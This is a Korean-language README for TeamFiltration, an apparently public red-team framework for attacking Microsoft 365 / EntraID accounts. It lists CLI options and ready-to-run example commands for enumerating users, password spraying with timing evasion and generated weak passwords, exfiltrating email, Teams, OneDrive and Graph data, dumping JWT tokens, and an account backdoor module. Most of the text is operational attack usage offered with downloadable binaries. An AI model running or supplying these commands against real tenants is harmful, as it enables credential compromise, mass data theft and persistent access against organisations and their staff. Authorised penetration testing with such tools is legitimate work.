
크로스 플랫폼 프레임워크로, O365 계정 열거, 패스워드 스프레이, 이메일/Teams/OneDrive 데이터 유출, 토큰 조작을 통한 EntraID 계정 백도어 설치 등을 수행합니다.
TeamFiltration은 O365 EntraID 계정을 열거, 스프레이, 유출, 백도어링하기 위한 크로스 플랫폼 프레임워크입니다. TeamFiltration의 작동 방식에 대한 소개는 TeamFiltration 위키 페이지를, 시작 방법은 Quick Start Guide를 참조하십시오!
이 도구는 2021년 1월부터 TrustedSec에서 내부적으로 사용되었으며, DefCON30에서 제 발표 Taking a Dump In The Cloud에서 공개적으로 출시되었습니다.
Linux, Windows 및 MacOS용 최신 사전 컴파일된 릴리스를 다운로드할 수 있습니다
릴리스는 단일 애플리케이션 종속 바이너리로 사전 컴파일됩니다. 크기는 커지지만 실행에 NET이나 다른 종속성이 필요하지 않습니다.
AWS Fireprox 기능이 스프레이 및 열거 모듈에서 제거되었습니다. 대신 도구는 구성 파일에 정의된 프록시를 통해 모든 트래픽을 라우팅할 수 있습니다. 프록시는 스프레이 및 열거에 자동으로 사용됩니다. 유출에 프록시를 사용하려면 --debug 플래그를 활성화해야 합니다.
╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╗
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╠╬╬╝╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ │ ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ ││ ╚╬╬╝╚ └╚╝╬╬╬╬╬╬
╬╬╬╬╣ ╔╦╦╬╬╬╬╬╬╦╦╗ ││ │ ╬╬╬╬╬
╬╬╬╬╣ ╔╬╬╬╝╝┘ ╚╝╝╬╬╬┐ ││ ││ └╬╬╬╬
╬╬╬╬┤ ╬╬╝╚╩╬╗╔ ╚╬╬╬ ││ ││ ╬╬╬╬
╬╬╬╬┤ ╬╝ ╚╬╬╗╗ ╔ ╚╬╗ ││ ├││ ╬╬╬╬
╬╬╬╬┤ ╬╬ ╔╗ ╚╬╬╬╬╬╬╦ ╬╬ │┌ ╔╬┤││ ╔╬╬╬╬
╬╬╬╬┤ ╔╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╝╝╝╬╬╗ ╠╬╬╬╬╬╬╬╬╬╗ ┌╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╚╩┘ ╚╬╬╬╬╬╩ ╠╬╬ ╚╝╝╝╝╝╝╝╝╝╬╬╗╗╗╦╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╠╬╬ ││ ╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬ ╦╗ ╗╗ ╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬┐ ╚╬╗╗ ╔╬╬╝ ╔╬┘ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬╗ ╚╩╩╬╬╬╩╩╝╝ ╔╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╬╬╬╗ ┌╗╬╬╝┘ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╩╬╬╬╦╦╦╦╦╦╬╬╬╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╚╝╝╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ││ │ ╔╗╬╬╬╬╬
╬╬╬╬┤ ││ ╬╦╦╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ││ ╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬╬╗╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
└╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╝
╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝
[❤] TeamFiltration V3.5.5 PUBLIC, @Flangvik이 @TrustedSec에서 제작하였습니다.
[+] 인수 분석됨
Usage:
--outpath 데이터베이스 및 유출 정보를 저장할 출력 경로 (모든 모듈에 필요)
--config TeamFiltration.json 구성 파일의 로컬 경로, 제공되지 않으면 현재 경로에서 로드합니다
--exfil 유출 모듈 로드
--username 데이터베이스에 존재하지 않는 특정 사용자 이름을 대상으로 재정의
--password 데이터베이스에 존재하지 않는 특정 암호를 대상으로 재정의
--tokens 개행으로 구분된 JWT 토큰 파일|단일 JWT| , 쉼표로 구분된 JWT 토큰을 대상으로 재정의하고 유출 수행
--cookie-dump 해당 계정의 새로고침 쿠키 컬렉션을 사용하여 특정 계정을 대상으로 재정의
--all 모든 SSO 리소스(Graph, OWA, SharePoint, OneDrive, Teams)에서 정보 유출
--aad Graph API에서 정보 유출 (도메인 사용자 및 그룹)
--teams Teams API에서 정보 유출 (파일, 채팅 로그, 첨부 파일, 연락처 목록)
--teams-db 유출된 Teams 데이터베이스에서 쿠키 및 인증 토큰 유출
--onedrive OneDrive/SharePoint API에서 정보 유출 (액세스 가능한 SharePoint 파일 및 사용자의 전체 OneDrive 디렉토리)
--owa Outlook REST API에서 정보 유출 (최근 2천 개 이메일, 보낸 것과 받은 것 모두)
--owa-limit 유출할 최대 이메일 수 설정, 기본값은 2k.
--jwt-tokens 수집된 모든 JSON 형식의 JTW-토큰을 덤프 (MsGraph, AdGraph, Outlook, SharePoint, OneDrive, Teams)
--spray 스프레이 모듈 로드
--aad-sso 스프레이 시 SecureWorks의 Azure Active Directory 암호 무차별 대입 기술 사용
--us-cloud US 테넌트에 연결된 회사를 스프레이할 때 (https://login.microsoftonline.us/)
--passwords 비밀번호 목록 경로, 제공되지 않으면 일반적인 약한 비밀번호가 생성됩니다
--exclude 스프레이에서 제외할 이메일 목록 경로
--seasons-only 스프레이를 위해 생성된 비밀번호는 계절에만 기반합니다
--months-only 스프레이를 위해 생성된 비밀번호는 월에만 기반합니다
--common-only 가장 흔한 상위 20개 비밀번호로 스프레이
--shuffle-passwords 스프레이 전에 비밀번호 목록 섞기
--shuffle-users 스프레이 전에 대상 사용자 목록 섞기
--shuffle-regions 스프레이 시 FireProx 지역 섞기
--auto-exfil 유효한 로그인이 발견되면 유출 모듈 자동 시작
--sleep-min 스프레이 전체 회전 사이의 최소 대기 시간(분) 기본값=60
--sleep-max 스프레이 전체 회전 사이의 최대 대기 시간(분) 기본값=100
--jitter 개별 인증 시도 사이의 초 기본값=0
--time-window 스프레이가 발생할 시간 창을 정의, 24시간 형식 <12:00-19:00>
--push 유효한 자격 증명이 발견되면 Pushover 알림 받기 (구성에 pushover 키 필요)
--push-locked 스프레이된 계정이 잠기면 Pushover 알림 받기 (구성에 pushover 키 필요)
--force 마지막 시도 이후 <sleep> 시간이 더 적더라도 스프레이를 강제로 진행
--enum 열거 모듈 로드
--domain 열거를 수행할 도메인, --usernames가 제공되지 않으면 statistically-likely-usernames에서 이름 가져옴
--usernames 열거할 사용자 이름 목록 경로 (이메일)
--dehashed 기본 도메인에서 이메일을 열거하기 위해 dehashed 하위 모듈 사용
--validate-msol 공개 GetCredentialType 메서드를 사용하여 주어진 O365 계정이 존재하는지 확인 (매우 속도 제한 - 느림 20 e/s)
--validate-teams Teams API 메서드를 사용하여 주어진 O365 계정이 존재하는지 확인 (권장 - 매우 빠름 300 e/s)
--validate-login 로그인을 시도하여 주어진 O365 계정 확인 (소음 발생 - 로그인 트리거 - 빠름 100 e/s)
--validate-onedrive @nyxgeek OneDrive 메서드를 사용하여 주어진 O365 계정 확인 (권장 - 빠름 300 e/s
--backdoor 대화형 백도어 모듈 로드
--database 대화형 데이터베이스 브라우저 모듈 로드
--debug 구성에 지정된 프록시를 통해 모든 발신 HTTP 요청 프록시
예시:
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\FooBar\Exclude_Emails.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-onedrive --domain example.com
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\FooBar\OSINT\Usernames.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --database
## 크레딧
- [GitHub - KoenZomers/OneDriveAPI: OneDrive Personal 및 OneDrive for Business와 통신하기 위한 .NET API](https://github.com/KoenZomers/OneDriveAPI)
- [Azure AD 새로고침 토큰의 문서화되지 않은 동작 연구](https://github.com/secureworks/family-of-client-ids-research)
- [고유 IP 순환을 위한 즉석 HTTP 패스스루 프록시 생성을 위한 WS API 게이트웨이 관리 도구](https://github.com/ustayready/fireprox)
- 내 관찰/질문을 검증하고 논의해준 [Ryan](https://twitter.com/detectdotdev)에게 감사!
- 이 도구를 다듬는 데 도움을 준 [TrustedSec](https://TrustedSec.com) 전체 팀에게 감사!
- @nyxgeek이 발견한 OneDrive 열거 메서드 및 스크립트 [onedrive_user_enum](https://github.com/nyxgeek/onedrive_user_enum)